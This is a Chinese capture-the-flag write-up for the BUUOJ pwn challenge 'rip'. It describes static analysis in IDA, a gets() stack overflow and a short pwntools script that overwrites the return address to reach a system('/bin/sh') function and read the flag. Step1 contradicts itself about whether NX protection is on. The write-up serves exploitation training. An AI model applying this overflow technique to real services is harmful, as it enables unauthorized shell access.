题目(二):
【题型】PWN
【题目】rip
【来源】(buuoj)https://buuoj.cn/challenges#rip
【思路】栈溢出
【具体步骤】
Step1:使用checksec指令检查是否有保护,发现是一个没有任何保护(NX)的64位的程序,开启了栈不可执行。
Step2:将文件放到IDApro下进行静态分析。
Step3:点击view下的open subviews下的strings,然后发现bin/sh,点击查看
Step4:然后按下shift+X,发现/bin/sh的地址在fun函数里面,然后查看fun函数,(先找到fun函数,然后点击F5,如果被占用,则按下Fn加F5)顺便查看fun函数的起始地址。Fun函数内容发现返回system函数。
Step5:查看主函数,点击main,然后F5查看伪代码,发现里面有一个gets函数,s的长度为0xf(0x0+0x0f=0x0f),但是栈的大小只有15个字节,gets可以无限输入,所以存在栈溢出。
Step6:编写代码,构建exp。
源码为:
from pwn import *
p=remote("node4.buuoj.cn",26085)
payload='A'*15+'B'*8+p64(0x401186+1).decode("iso-8859-1")
p.sendline(payload)
p.interactive()
Step7:然后输入ls,发现可以与shell交互,然后查看文件有flag这个文件,查看这个文件,输入指令cat flag,得到flag。